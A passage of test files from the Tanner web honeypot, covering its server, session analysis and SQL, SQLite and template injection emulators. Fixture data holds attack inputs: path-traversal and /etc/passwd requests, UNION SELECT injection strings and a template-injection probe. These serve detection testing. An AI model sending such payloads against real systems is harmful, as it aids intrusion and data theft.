    "content": "import uuid\nfrom unittest import mock\nimport hashlib\n\nfrom aiohttp.test_utils import AioHTTPTestCase, unittest_run_loop\n\nfrom tanner import server\nfrom tanner.config import TannerConfig\nfrom tanner.utils.asyncmock import AsyncMock\nfrom tanner import __version__ as tanner_version\n\n\nclass TestServer(AioHTTPTestCase):\n    def setUp(self):\n        d = dict(\n            MONGO={\"enabled\": \"False\", \"URI\": \"mongodb://localhost\"},\n            LOCALLOG={\"enabled\": \"False\", \"PATH\": \"/tmp/tanner_report.json\"},\n        )\n        m = mock.MagicMock()\n        m.__getitem__.side_effect = d.__getitem__\n        m.__iter__.side_effect = d.__iter__\n\n        with mock.patch(\"tanner.tests.test_server.TannerConfig\") as p:\n\n            TannerConfig.config = m\n            TannerConfig.get = m.get\n\n        with mock.patch(\"tanner.dorks_manager.DorksManager\", mock.Mock()):\n            with mock.patch(\"tanner.emulators.base.BaseHandler\", mock.Mock(), create=True):\n                with mock.patch(\"tanner.sessions.session_manager.SessionManager\", mock.Mock(), create=True):\n                    self.serv = server.TannerServer()\n\n        self.test_uuid = uuid.uuid4()\n\n        async def _add_or_update_mock(data, client):\n            sess = mock.Mock()\n            sess.set_attack_type = mock.Mock()\n            sess_id = hashlib.md5(b\"foo\")\n            test_uuid = uuid\n            sess.get_uuid = mock.Mock(return_value=str(self.test_uuid))\n            return sess, sess_id\n\n        async def _delete_sessions_mock(client):\n            pass\n\n        self.serv.session_manager.add_or_update_session = _add_or_update_mock\n        self.serv.session_manager.delete_sessions_on_shutdown = _delete_sessions_mock\n\n        async def choosed(client):\n            return [x for x in range(10)]\n\n        dorks = mock.Mock()\n        dorks.choose_dorks = choosed\n        dorks.extract_path = self._make_coroutine()\n\n        redis = AsyncMock()\n        redis.close = AsyncMock()\n        self.serv.dorks = dorks\n        self.serv.redis_client = redis\n\n        super(TestServer, self).setUp()\n\n    def _make_coroutine(self):\n        async def coroutine(*args, **kwargs):\n            return mock.Mock(*args, **kwargs)\n\n        return coroutine\n\n    async def get_application(self):\n        app = await self.serv.make_app()\n        return app\n\n    @unittest_run_loop\n    async def test_example(self):\n        request = await self.client.request(\"GET\", \"/\")\n        assert request.status == 200\n        text = await request.text()\n        assert \"Tanner server\" in text\n\n    def test_make_response(self):\n        msg = \"test\"\n        content = self.serv._make_response(msg)\n        assert_content = dict(version=tanner_version, response=dict(message=msg))\n        self.assertDictEqual(content, assert_content)\n\n    @unittest_run_loop\n    async def test_events_request(self):\n        async def _make_handle_coroutine(*args, **kwargs):\n            return {\"name\": \"index\", \"order\": 1, \"payload\": None}\n\n        detection_assert = {\n            \"version\": tanner_version,\n            \"response\": {\n                \"message\": {\n                    \"detection\": {\"name\": \"index\", \"order\": 1, \"payload\": None},\n                    \"sess_uuid\": str(self.test_uuid),\n                }\n            },\n        }\n        self.serv.base_handler.handle = _make_handle_coroutine\n        request = await self.client.request(\"POST\", \"/event\", data=b'{\"path\":\"/index.html\"}')\n        assert request.status == 200\n        detection = await request.json()\n        self.assertDictEqual(detection, detection_assert)\n\n    @unittest_run_loop\n    async def test_dorks_request(self):\n        assert_content = dict(version=tanner_version, response=dict(dorks=[x for x in range(10)]))\n        request = await self.client.request(\"GET\", \"/dorks\")\n        assert request.status == 200\n        detection = await request.json()\n        self.assertDictEqual(detection, assert_content)\n\n    @unittest_run_loop\n    async def test_version(self):\n        assert_content = dict(version=tanner_version)\n        request = await self.client.request(\"GET\", \"/version\")\n        assert request.status == 200\n        detection = await request.json()\n        self.assertDictEqual(detection, assert_content)\n"
  },
  {
    "path": "tanner/tests/test_session_analyzer.py",
    "content": "import asyncio\nimport json\nimport unittest\nfrom unittest.mock import Mock\nfrom unittest.mock import patch\nimport geoip2\nimport aioredis\nfrom tanner.sessions.session_analyzer import SessionAnalyzer\n\n\nsession = (\n    b'{\"sess_uuid\": \"c546114f97f548f982756495f963e280\", \"start_time\": 1466091813.4780173, '\n    b'\"referer\": \"/\",'\n    b'\"user_agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) '\n    b'Chrome/53.0.2767.4 Safari/537.36\", \"end_time\": 1466091899.9854035, '\n    b'\"snare_uuid\": \"78e51180-bf0d-4757-8a04-f000e5efa179\", \"count\": 24, '\n    b'\"paths\": [{\"timestamp\": 1466091813.4779778, \"path\": \"/\", \"attack_type\": \"index\", \"response_status\": 200},'\n    b'{\"timestamp\": 1466091842.7088752, \"path\": \"/fluent-python.html\", \"attack_type\": \"index\", '\n    b'\"response_status\": 200}, {\"timestamp\": 1466091858.214475, \"path\": \"/wow-movie.html?exec=/bin/bash\", '\n    b'\"attack_type\": \"index\", \"response_status\": 200}, {\"timestamp\": 1466091871.9076045, '\n    b'\"path\": \"/wow-movie.html?exec=/etc/passwd\", \"attack_type\": \"lfi\", \"response_status\": 200},'\n    b'{\"timestamp\": 1466091885.1003792, \"path\": \"/wow-movie.html?exec=/bin/bash\", \"attack_type\": \"index\", '\n    b'\"response_status\": 200}, {\"timestamp\": 1466091899.9854052, '\n    b'\"path\": \"/wow-movie.html?exec=/../../../..///././././.../../../etc/passwd\",'\n    b' \"attack_type\": \"lfi\", \"response_status\": 200}], '\n    b'\"peer\": {\"port\": 56970, \"ip\": \"74.217.37.84\"}, '\n    b'\"cookies\": {\"sess_uuid\": \"c546114f97f548f982756495f963e280\"}}'\n)\n\n\ndef mock_open():\n    with open(\"./tanner/data/crawler_user_agents.txt\") as f:\n        f.close = Mock()\n        return Mock(return_value=f)\n\n\nclass TestSessionAnalyzer(unittest.TestCase):\n    def setUp(self):\n        self.loop = asyncio.new_event_loop()\n        asyncio.set_event_loop(None)\n        self.session = json.loads(session.decode(\"utf-8\"))\n        self.handler = SessionAnalyzer(loop=self.loop)\n        self.res = None\n        geoip2.database.Reader.__init__ = Mock(return_value=None)\n        rvalue = geoip2.models.City(\n            {\n                \"city\": {\"geoname_id\": 4223379, \"names\": {\"en\": \"Smyrna\", \"ru\": \"Смирна\", \"zh-CN\": \"士麦那\"}},\n                \"continent\": {\n                    \"code\": \"NA\",\n                    \"geoname_id\": 6255149,\n                    \"names\": {\n                        \"de\": \"Nordamerika\",\n                        \"en\": \"North America\",\n                        \"es\": \"Norteamérica\",\n                        \"fr\": \"Amérique du Nord\",\n                        \"ja\": \"北アメリカ\",\n                        \"pt-BR\": \"América do Norte\",\n                        \"ru\": \"Северная Америка\",\n                        \"zh-CN\": \"北美洲\",\n                    },\n                },\n                \"country\": {\n                    \"geoname_id\": 6252001,\n                    \"iso_code\": \"US\",\n                    \"names\": {\n                        \"de\": \"USA\",\n                        \"en\": \"United States\",\n                        \"es\": \"Estados Unidos\",\n                        \"fr\": \"États-Unis\",\n                        \"ja\": \"アメリカ合衆国\",\n                        \"pt-BR\": \"Estados Unidos\",\n                        \"ru\": \"США\",\n                        \"zh-CN\": \"美国\",\n                    },\n                },\n                \"location\": {\n                    \"accuracy_radius\": 10,\n                    \"latitude\": 33.8633,\n                    \"longitude\": -84.4984,\n                    \"metro_code\": 524,\n                    \"time_zone\": \"America/New_York\",\n                },\n                \"postal\": {\"code\": \"30080\"},\n                \"registered_country\": {\n                    \"geoname_id\": 6252001,\n                    \"iso_code\": \"US\",\n                    \"names\": {\n                        \"de\": \"USA\",\n                        \"en\": \"United States\",\n                        \"es\": \"Estados Unidos\",\n                        \"fr\": \"États-Unis\",\n                        \"ja\": \"アメリカ合衆国\",\n                        \"pt-BR\": \"Estados Unidos\",\n                        \"ru\": \"США\",\n                        \"zh-CN\": \"美国\",\n                    },\n                },\n                \"subdivisions\": [\n                    {\n                        \"geoname_id\": 4197000,\n                        \"iso_code\": \"GA\",\n                        \"names\": {\n                            \"en\": \"Georgia\",\n                            \"es\": \"Georgia\",\n                            \"fr\": \"Géorgie\",\n                            \"ja\": \"ジョージア州\",\n                            \"pt-BR\": \"Geórgia\",\n                            \"ru\": \"Джорджия\",\n                            \"zh-CN\": \"乔治亚\",\n                        },\n                    }\n                ],\n                \"traits\": {\"ip_address\": \"74.217.37.8\"},\n            },\n            [\"en\"],\n        )\n        geoip2.database.Reader.city = Mock(return_value=rvalue)\n\n    def tests_load_session_fail(self):\n        async def sess_get(key):\n            return aioredis.ConnectionError\n\n        redis_mock = Mock()\n        redis_mock.get = sess_get\n        res = None\n        with self.assertLogs():\n            self.loop.run_until_complete(self.handler.analyze(None, redis_mock))\n\n    def test_create_stats(self):\n        async def sess_get():\n            return session\n\n        async def set_of_members(key):\n            return set()\n\n        async def set_add():\n            return \"\"\n\n        redis_mock = Mock()\n        redis_mock.get = sess_get\n        redis_mock.smembers = set_of_members\n        redis_mock.zadd = set_add\n        with patch(\"builtins.open\", new_callable=mock_open) as m:\n            stats = self.loop.run_until_complete(self.handler.create_stats(self.session, redis_mock))\n        self.assertEqual(stats[\"possible_owners\"], {\"attacker\": 1.0})\n\n    def test_choose_owner_crawler(self):\n        stats = dict(\n            paths=[{\"path\": \"/robots.txt\", \"timestamp\": 1.0, \"response_status\": 200, \"attack_type\": \"index\"}],\n            attack_types={\"index\"},\n            requests_in_second=11.1,\n            referer=None,\n            peer_ip=\"ip\",\n        )\n\n        async def test():\n            self.res = await self.handler.choose_possible_owner(stats)\n\n        with patch(\"builtins.open\", new_callable=mock_open) as m:\n            self.loop.run_until_complete(test())\n        self.assertEqual(self.res[\"possible_owners\"], {\"crawler\": 1.0})\n\n    def test_choose_owner_attacker(self):\n        stats = dict(\n            paths=[{\"path\": \"/\", \"timestamp\": 1.0, \"response_status\": 200, \"attack_type\": \"rfi\"}],\n            attack_types={\"rfi\", \"lfi\"},\n            requests_in_second=2,\n            user_agent=\"user\",\n            peer_ip=\"ip\",\n        )\n\n        async def test():\n            self.res = await self.handler.choose_possible_owner(stats)\n\n        with patch(\"builtins.open\", new_callable=mock_open) as m:\n            self.loop.run_until_complete(test())\n        self.assertEqual(self.res[\"possible_owners\"], {\"attacker\": 1.0})\n\n    def test_choose_owner_mixed(self):\n        stats = dict(\n            paths=[{\"path\": \"/\", \"timestamp\": 1.0, \"response_status\": 200, \"attack_type\": \"\"}],\n            attack_types=\"\",\n            requests_in_second=2,\n            user_agent=\"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\",\n            peer_ip=\"74.217.37.84\",\n            hidden_links=0,\n            referer=\"/\",\n        )\n\n        async def test():\n            self.res = await self.handler.choose_possible_owner(stats)\n\n        with patch(\"builtins.open\", new_callable=mock_open) as m:\n            self.loop.run_until_complete(test())\n        self.assertEqual(self.res[\"possible_owners\"], {\"attacker\": 0.75, \"crawler\": 0.25, \"tool\": 0.15, \"user\": 0.25})\n\n    def test_choose_owner_user(self):\n        stats = dict(\n            paths=[{\"path\": \"/\", \"timestamp\": 1.0, \"response_status\": 200, \"attack_type\": \"\"}],\n            attack_types=\"\",\n            requests_in_second=2,\n            user_agent=\"test_user_agent\",\n            peer_ip=\"74.217.37.84\",\n            hidden_links=0,\n            referer=\"/\",\n        )\n\n        async def test():\n            self.res = await self.handler.choose_possible_owner(stats)\n\n        with patch(\"builtins.open\", new_callable=mock_open) as m:\n            self.loop.run_until_complete(test())\n        self.assertEqual(self.res[\"possible_owners\"], {\"user\": 1.0})\n\n    def test_find_location(self):\n        location_stats = self.handler.find_location(\"74.217.37.84\")\n        expected_res = dict(\n            country=\"United States\",\n            country_code=\"US\",\n            city=\"Smyrna\",\n            zip_code=\"30080\",\n        )\n        self.assertEqual(location_stats, expected_res)\n"
  },
  {
    "path": "tanner/tests/test_session_manager.py",
    "content": "import asyncio\nimport unittest\nfrom unittest import mock\nimport hashlib\n\nfrom tanner.sessions import session_manager, session\n\n\nclass TestSessions(unittest.TestCase):\n    def setUp(self):\n        self.loop = asyncio.new_event_loop()\n        asyncio.set_event_loop(None)\n        self.handler = session_manager.SessionManager(loop=self.loop)\n        self.handler.analyzer = mock.Mock()\n        self.handler.analyzer.send = mock.Mock()\n\n    def test_validate_missing_peer(self):\n        data = {\n            \"headers\": {\n                \"USER-AGENT\": \"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) \"\n                \"Chrome/41.0.2228.0 Safari/537.36\"\n            },\n            \"path\": \"/foo\",\n            \"uuid\": None,\n            \"cookies\": {\"sess_uuid\": None},\n        }\n\n        assertion_data = {\n            \"peer\": {\"ip\": None, \"port\": None},\n            \"headers\": {\n                \"user-agent\": \"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) \"\n                \"Chrome/41.0.2228.0 Safari/537.36\"\n            },\n            \"path\": \"/foo\",\n            \"uuid\": None,\n            \"status\": 200,\n            \"cookies\": {\"sess_uuid\": None},\n        }\n        data = self.handler.validate_data(data)\n        self.assertDictEqual(data, assertion_data)\n\n    def test_validate_missing_user_agent(self):\n        data = {\n            \"peer\": {\"ip\": \"127.0.0.1\", \"port\": 80},\n            \"headers\": {},\n            \"path\": \"/foo\",\n            \"uuid\": None,\n            \"cookies\": {\"sess_uuid\": None},\n        }\n\n        assertion_data = {\n            \"peer\": {\"ip\": \"127.0.0.1\", \"port\": 80},\n            \"headers\": {\"user-agent\": None},\n            \"path\": \"/foo\",\n            \"uuid\": None,\n            \"status\": 200,\n            \"cookies\": {\"sess_uuid\": None},\n        }\n        data = self.handler.validate_data(data)\n        self.assertDictEqual(data, assertion_data)\n\n    def test_validate_missing_cookies(self):\n        data = {\"peer\": {\"ip\": \"127.0.0.1\", \"port\": 80}, \"headers\": {}, \"path\": \"/foo\", \"uuid\": None}\n\n        assertion_data = {\n            \"peer\": {\"ip\": \"127.0.0.1\", \"port\": 80},\n            \"headers\": {\"user-agent\": None},\n            \"path\": \"/foo\",\n            \"uuid\": None,\n            \"status\": 200,\n            \"cookies\": {\"sess_uuid\": None},\n        }\n        data = self.handler.validate_data(data)\n        self.assertDictEqual(data, assertion_data)\n\n    def test_adding_new_session(self):\n        data = {\n            \"peer\": {\"ip\": None, \"port\": None},\n            \"headers\": {},\n            \"path\": \"/foo\",\n            \"uuid\": None,\n            \"cookies\": {\"sess_uuid\": None},\n        }\n\n        async def sess_sadd(key, value):\n            return None\n\n        redis_mock = mock.Mock()\n        redis_mock.sadd = sess_sadd\n        sess, sess_id = self.loop.run_until_complete(self.handler.add_or_update_session(data, redis_mock))\n\n        self.assertDictEqual({sess_id: sess}, self.handler.sessions)\n\n    def test_updating_session(self):\n        async def sess_sadd(key, value):\n            return None\n\n        data = {\n            \"peer\": {\"ip\": None, \"port\": None},\n            \"headers\": {\"user-agent\": None},\n            \"path\": \"/foo\",\n            \"uuid\": None,\n            \"status\": 200,\n            \"cookies\": {\"sess_uuid\": None},\n        }\n        sess = session.Session(data)\n\n        ip = data[\"peer\"][\"ip\"]\n        user_agent = data[\"headers\"][\"user-agent\"]\n        sess_uuid = data[\"cookies\"][\"sess_uuid\"]\n\n        sess_id_string = \"{ip}{user_agent}{sess_uuid}\".format(ip=ip, user_agent=user_agent, sess_uuid=sess_uuid)\n\n        sess_id = hashlib.md5(sess_id_string.encode()).hexdigest()\n\n        redis_mock = mock.Mock()\n        redis_mock.sadd = sess_sadd\n        self.handler.sessions[sess_id] = sess\n        self.loop.run_until_complete(self.handler.add_or_update_session(data, redis_mock))\n        self.assertEqual(self.handler.sessions[sess_id].count, 2)\n\n    def test_deleting_sessions(self):\n        async def analyze(session_key, redis_client):\n            return None\n\n        async def sess_set(key, val):\n            return None\n\n        self.handler.analyzer.analyze = analyze\n        data = {\n            \"peer\": {\"ip\": None, \"port\": None},\n            \"headers\": {\"user-agent\": None},\n            \"path\": \"/foo\",\n            \"uuid\": None,\n            \"status\": 200,\n            \"cookies\": {\"sess_uuid\": None},\n        }\n        sess = session.Session(data)\n        sess.is_expired = mock.MagicMock(name=\"expired\")\n        sess.is_expired.__bool__.reurned_value = True\n        self.handler.sessions[sess] = sess\n        redis_mock = mock.Mock()\n        redis_mock.set = sess_set\n        self.loop.run_until_complete(self.handler.delete_old_sessions(redis_mock))\n        self.assertDictEqual(self.handler.sessions, {})\n\n    def test_get_uuid(self):\n        data = {\n            \"peer\": {\"ip\": None, \"port\": None},\n            \"headers\": {\"user-agent\": None},\n            \"path\": \"/foo\",\n            \"uuid\": None,\n            \"status\": 200,\n            \"cookies\": {\"sess_id\": None},\n        }\n        sess = session.Session(data)\n        key = sess.get_uuid()\n        self.assertIsNotNone(key)\n"
  },
  {
    "path": "tanner/tests/test_sqli.py",
    "content": "import asyncio\nimport unittest\nimport os\nfrom unittest import mock\n\nfrom tanner.emulators import sqli\n\n\nclass SqliTest(unittest.TestCase):\n    def setUp(self):\n        self.loop = asyncio.new_event_loop()\n        asyncio.set_event_loop(None)\n\n        query_map = {\n            \"users\": [\n                {\"name\": \"id\", \"type\": \"INTEGER\"},\n                {\"name\": \"login\", \"type\": \"text\"},\n                {\"name\": \"email\", \"type\": \"text\"},\n                {\"name\": \"username\", \"type\": \"text\"},\n                {\"name\": \"password\", \"type\": \"text\"},\n                {\"name\": \"pass\", \"type\": \"text\"},\n                {\"name\": \"log\", \"type\": \"text\"},\n            ],\n            \"comments\": [{\"name\": \"comment\", \"type\": \"text\"}],\n        }\n        self.handler = sqli.SqliEmulator(\"test_db\", \"/tmp/\")\n        self.filename = \"/tmp/db/test_db\"\n        os.makedirs(os.path.dirname(self.filename), exist_ok=True)\n        open(\"/tmp/db/test_db\", \"a\").close()\n        self.handler.query_map = query_map\n        self.sess = mock.Mock()\n        self.sess.sess_uuid.hex = \"d877339ec415484987b279469167af3d\"\n\n    def test_scan(self):\n        attack = \"1 UNION SELECT 1,2,3,4\"\n        assert_result = dict(name=\"sqli\", order=2)\n        result = self.handler.scan(attack)\n        self.assertEqual(result, assert_result)\n\n    def test_scan_negative(self):\n        attack = \"1 UNION 1,2,3,4\"\n        assert_result = None\n        result = self.handler.scan(attack)\n        self.assertEqual(result, assert_result)\n\n    def test_handle(self):\n        attack_params = [dict(id=\"id\", value=\"1 UNION SELECT 1,2,3,4\")]\n        assert_result = dict(value=\"no such table: users\", page=True)\n        result = self.loop.run_until_complete(self.handler.handle(attack_params, self.sess))\n        self.assertEqual(assert_result, result)\n\n    def test_map_query_id(self):\n        attack_value = dict(id=\"id\", value=\"1'UNION SELECT 1,2,3,4\")\n        assert_result = \"SELECT * from users WHERE id=1 UNION SELECT 1,2,3,4;\"\n        result = self.handler.map_query(attack_value)\n        self.assertEqual(assert_result, result)\n\n    def test_map_query_comments(self):\n        attack_value = dict(id=\"comment\", value='some_comment\" UNION SELECT 1,2 AND \"1\"=\"1')\n        assert_result = 'SELECT * from comments WHERE comment=\"some_comment\" UNION SELECT 1,2 AND \"1\"=\"1\";'\n        result = self.handler.map_query(attack_value)\n        self.assertEqual(assert_result, result)\n\n    def test_map_query_error(self):\n        attack_value = dict(id=\"foo\", value=\"bar'UNION SELECT 1,2\")\n        result = self.handler.map_query(attack_value)\n        self.assertIsNone(result)\n\n    def test_get_sqli_result(self):\n        attack_value = dict(id=\"id\", value=\"1 UNION SELECT 1,2,3,4\")\n\n        async def mock_execute_query(query, db_name):\n            return [[1, \"name\", \"email@mail.com\", \"password\"], [1, \"2\", \"3\", \"4\"]]\n\n        self.handler.sqli_emulator = mock.Mock()\n        self.handler.sqli_emulator.execute_query = mock_execute_query\n\n        assert_result = dict(value=\"[1, 'name', 'email@mail.com', 'password'] [1, '2', '3', '4']\", page=True)\n        result = self.loop.run_until_complete(self.handler.get_sqli_result(attack_value, \"foo.db\"))\n        self.assertEqual(assert_result, result)\n\n    def test_get_sqli_result_error(self):\n        attack_value = dict(id=\"foo\", value=\"bar'UNION SELECT 1,2\")\n        assert_result = \"SQL ERROR: near foo: syntax error\"\n        result = self.loop.run_until_complete(self.handler.get_sqli_result(attack_value, \"foo.db\"))\n        self.assertEqual(assert_result, result[\"value\"])\n\n    def tearDown(self):\n        if os.path.exists(self.filename):\n            os.remove(self.filename)\n"
  },
  {
    "path": "tanner/tests/test_sqlite.py",
    "content": "import asyncio\nimport os\nimport sqlite3\nimport unittest\nfrom unittest import mock\n\nfrom tanner.utils.asyncmock import AsyncMock\nfrom tanner.emulators import sqlite\n\n\nclass SqliteTest(unittest.TestCase):\n    def setUp(self):\n        self.loop = asyncio.new_event_loop()\n        asyncio.set_event_loop(None)\n        self.filename = \"/tmp/db/test_db\"\n        os.makedirs(os.path.dirname(self.filename), exist_ok=True)\n        open(\"/tmp/db/test_db\", \"a\").close()\n        # Insert some testing data\n        self.conn = sqlite3.connect(self.filename)\n        self.cursor = self.conn.cursor()\n        self.cursor.execute(\"CREATE TABLE test (id INTEGER PRIMARY KEY, username TEXT)\")\n        self.cursor.execute('INSERT INTO TEST VALUES(0, \"test0\")')\n        self.conn.commit()\n\n        self.handler = sqlite.SQLITEEmulator(\"test_db\", \"/tmp/\")\n        self.returned_result = None\n        self.expected_result = None\n\n    def test_setup_db(self):\n\n        self.handler.helper.create_query_map = mock.Mock(\n            return_value={\"test\": [{\"name\": \"id\", \"type\": \"INTEGER\"}, {\"name\": \"username\", \"type\": \"TEXT\"}]}\n        )\n        self.handler.helper.setup_db_from_config = mock.Mock()\n\n        async def test():\n            self.returned_result = await self.handler.setup_db()\n\n        self.loop.run_until_complete(test())\n        self.handler.helper.create_query_map.assert_called_with(\"/tmp/db/\", \"test_db\")\n        assert not self.handler.helper.setup_db_from_config.called\n\n    def test_setup_db_not_exists(self):\n\n        self.handler.helper.create_query_map = mock.Mock(\n            return_value={\"test\": [{\"name\": \"id\", \"type\": \"INTEGER\"}, {\"name\": \"username\", \"type\": \"TEXT\"}]}\n        )\n        self.handler.helper.setup_db_from_config = AsyncMock()\n\n        async def test():\n            os.remove(self.filename)\n            self.returned_result = await self.handler.setup_db()\n\n        self.loop.run_until_complete(test())\n        self.handler.helper.setup_db_from_config.assert_called_with(\"/tmp/db/\", \"test_db\")\n        self.handler.helper.create_query_map.assert_called_with(\"/tmp/db/\", \"test_db\")\n\n    def test_create_attacker_db(self):\n        session = mock.Mock()\n        session.sess_uuid.hex = \"d877339ec415484987b279469167af3d\"\n        self.loop.run_until_complete(self.handler.create_attacker_db(session))\n        self.assertTrue(os.path.exists(\"/tmp/db/attacker_d877339ec415484987b279469167af3d\"))\n\n    def test_execute_query(self):\n\n        self.expected_result = [[[1, \"test_name\"]], [[1, \"test@domain.com\", \"test_pass\"]]]\n\n        result = []\n        self.query = [\n            [\n                \"/tmp/db/TEST_DB\",\n                \"CREATE TABLE IF NOT EXISTS TEST (ID INTEGER PRIMARY KEY, USERNAME TEXT)\",\n                'INSERT INTO TEST VALUES(1, \"test_name\")',\n            ],\n            [\n                \"/tmp/db/CREDS_DB\",\n                \"CREATE TABLE IF NOT EXISTS CREDS (ID INTEGER PRIMARY KEY, EMAIL VARCHAR(15), \" \"PASSWORD VARCHAR(15))\",\n                \"INSERT INTO CREDS VALUES(1, 'test@domain.com', 'test_pass')\",\n            ],\n        ]\n        test_query = [[\"/tmp/db/TEST_DB\", \"SELECT * FROM TEST\"], [\"/tmp/db/CREDS_DB\", \"SELECT * FROM CREDS\"]]\n\n        def setup(data):\n            os.makedirs(os.path.dirname(data[0]), exist_ok=True)\n            self.conn = sqlite3.connect(data[0])\n            self.cursor = self.conn.cursor()\n            self.cursor.execute(data[1])\n            self.cursor.execute(data[2])\n            self.conn.commit()\n\n        for data in self.query:\n            setup(data)\n\n        async def test(data):\n            self.returned_result = await self.handler.execute_query(data[1], data[0])\n            result.append(self.returned_result)\n            self.handler.helper.delete_db(data[0])\n\n        for query in test_query:\n            self.loop.run_until_complete(test(query))\n\n        self.assertEqual(self.expected_result, result)\n\n    def tearDown(self):\n        if os.path.exists(self.filename):\n            os.remove(self.filename)\n"
  },
  {
    "path": "tanner/tests/test_sqlite_db_helper.py",
    "content": "import asyncio\nimport os\nimport sqlite3\nimport unittest\nimport subprocess\nfrom unittest import mock\n\nfrom tanner.utils.asyncmock import AsyncMock\nfrom tanner.utils.sqlite_db_helper import SQLITEDBHelper\n\n\nclass TestSQLiteDBHelper(unittest.TestCase):\n    def setUp(self):\n        self.loop = asyncio.new_event_loop()\n        asyncio.set_event_loop(None)\n        self.filename = \"/tmp/db/test_db\"\n        os.makedirs(os.path.dirname(self.filename), exist_ok=True)\n        open(\"/tmp/db/test_db\", \"a\").close()\n        # Insert some testing data\n        conn = sqlite3.connect(self.filename)\n        self.cursor = conn.cursor()\n        self.cursor.execute(\"CREATE TABLE TEST (id INTEGER PRIMARY KEY, username TEXT)\")\n        self.cursor.execute('INSERT INTO TEST VALUES(0, \"test0\")')\n        conn.commit()\n\n        self.handler = SQLITEDBHelper()\n        self.returned_result = None\n        self.expected_result = None\n\n    def test_setup_db_from_config(self):\n        config = {\n            \"name\": \"test_db\",\n            \"tables\": [\n                {\n                    \"schema\": \"CREATE TABLE IF NOT EXISTS CREDS (ID INTEGER PRIMARY KEY, EMAIL VARCHAR(15), \"\n                    \"PASSWORD VARCHAR(15))\",\n                    \"table_name\": \"CREDS\",\n                    \"data_tokens\": \"I,E,P\",\n                }\n            ],\n        }\n\n        def mock_read_config():\n            return config\n\n        self.result = []\n        self.handler.read_config = mock_read_config\n        self.handler.insert_dummy_data = AsyncMock()\n\n        calls = [mock.call(\"CREDS\", \"I,E,P\", mock.ANY)]\n\n        self.expected_result = [\n            [\n                (\"CREATE TABLE CREDS (ID INTEGER PRIMARY KEY, EMAIL VARCHAR(15), PASSWORD \" \"VARCHAR(15))\",),\n                (\"CREATE TABLE TEST (id INTEGER PRIMARY KEY, username TEXT)\",),\n            ]\n        ]\n\n        async def test():\n            await self.handler.setup_db_from_config(\"/tmp/\", self.filename)\n            self.cursor.execute(\"SELECT sql FROM sqlite_master ORDER BY tbl_name\")\n            result = self.cursor.fetchall()\n            self.result.append(result)\n            self.handler.delete_db(self.filename)\n\n        self.loop.run_until_complete(test())\n\n        self.assertEqual(self.result, self.expected_result)\n        self.handler.insert_dummy_data.assert_has_calls(calls, any_order=True)\n\n    def test_get_abs_path(self):\n        self.path = \"db/attacker_db\"\n        self.returned_result = self.handler.get_abs_path(self.path, \"/tmp/\")\n        self.expected_result = \"/tmp/db/attacker_db\"\n        self.assertEqual(self.returned_result, self.expected_result)\n\n    def test_get_abs_path_2(self):\n        self.path = \"../../tmp/db/./test_db\"\n        self.returned_result = self.handler.get_abs_path(self.path, \"/tmp/\")\n        self.expected_result = \"/tmp/db/test_db\"\n        self.assertEqual(self.returned_result, self.expected_result)\n\n    def test_copy_db(self):\n        self.attacker_db = \"/tmp/db/attacker_db\"\n\n        self.returned_result = self.handler.copy_db(self.filename, self.attacker_db, \"/tmp/\")\n        self.assertTrue(os.path.exists(self.attacker_db))\n\n        diff_db = \"diff /tmp/db/test_db /tmp/db/attacker_db\"\n        self.result = b\"\"\n\n        # Checking if new DB is same as original DB\n        try:\n            diff_db = subprocess.Popen(diff_db, stdin=subprocess.PIPE, stdout=subprocess.PIPE, shell=True)\n            self.outs, errs = diff_db.communicate(timeout=15)\n            diff_db.wait()\n\n        except subprocess.CalledProcessError:\n            pass\n\n        self.assertEqual(self.outs, self.result)\n\n        # Deleting the DB\n        os.remove(\"/tmp/db/attacker_db\")\n\n    def test_create_query_map(self):\n        self.returned_result = self.handler.create_query_map(\"/tmp/db\", \"test_db\")\n        self.expected_result = {\"TEST\": [{\"name\": \"id\", \"type\": \"INTEGER\"}, {\"name\": \"username\", \"type\": \"TEXT\"}]}\n        self.assertEqual(self.returned_result, self.expected_result)\n\n    @mock.patch(\"tanner.utils.sqlite_db_helper.sqlite3\")\n    def test_create_query_map_error(self, sqlite):\n        sqlite.OperationalError = sqlite3.OperationalError\n        sqlite.connect().cursor().execute.side_effect = sqlite3.OperationalError\n\n        with self.assertLogs(level=\"ERROR\") as log:\n            self.returned_result = self.handler.create_query_map(\"/tmp/db\", \"test_db\")\n            self.assertIn(\"Error during query map creation\", log.output[0])\n\n    def test_insert_dummy_data(self):\n        def mock_generate_dummy_data(data_tokens):\n            return [(1, \"test1\"), (2, \"test2\")], [\"I\", \"L\"]\n\n        self.handler.generate_dummy_data = mock_generate_dummy_data\n\n        self.loop.run_until_complete(self.handler.insert_dummy_data(\"test\", \"I,L\", self.cursor))\n        self.expected_result = [[0, \"test0\"], [1, \"test1\"], [2, \"test2\"]]\n\n        result = []\n        for row in self.cursor.execute(\"SELECT * FROM test;\"):\n            result.append(list(row))\n\n        self.assertEqual(result, self.expected_result)\n\n    def tearDown(self):\n        if os.path.exists(self.filename):\n            os.remove(self.filename)\n"
  },
  {
    "path": "tanner/tests/test_template_injection.py",
    "content": "import asyncio\nimport unittest\nimport os\n\nfrom unittest import mock\nfrom tanner.utils import patterns\nfrom tanner.utils.asyncmock import AsyncMock\nfrom tanner.emulators.template_injection import TemplateInjection\n\n\nclass TestTemplateInjection(unittest.TestCase):\n    def setUp(self):\n        self.loop = asyncio.new_event_loop()\n        asyncio.set_event_loop(self.loop)\n        self.handler = TemplateInjection(loop=self.loop)\n        self.result = None\n        self.expected_result = None\n        self.returned_result = None\n        self.sess = mock.Mock()\n        self.sess.sess_uuid.hex = \"e86d20b858224e239d3991c1a2650bc7\"\n        self.handler.remote_path = (\n            \"https://raw.githubusercontent.com/mushorg/tanner/master/docker/\" \"tanner/template_injection/Dockerfile\"\n        )\n\n    def test_scan(self):\n        payload = \"{{7*7}}\"\n\n        self.expected_result = dict(name=\"template_injection\", order=4)\n        self.returned_result = self.handler.scan(payload)\n        self.assertEqual(self.returned_result, self.expected_result)\n\n    def test_scan_negative(self):\n        payload = \"{7*7}\"\n\n        self.expected_result = None\n        self.returned_result = self.handler.scan(payload)\n        self.assertEqual(self.returned_result, self.expected_result)\n\n    def test_xss_mako_regex(self):\n        # xss payloads cannot be matched with mako's regex but 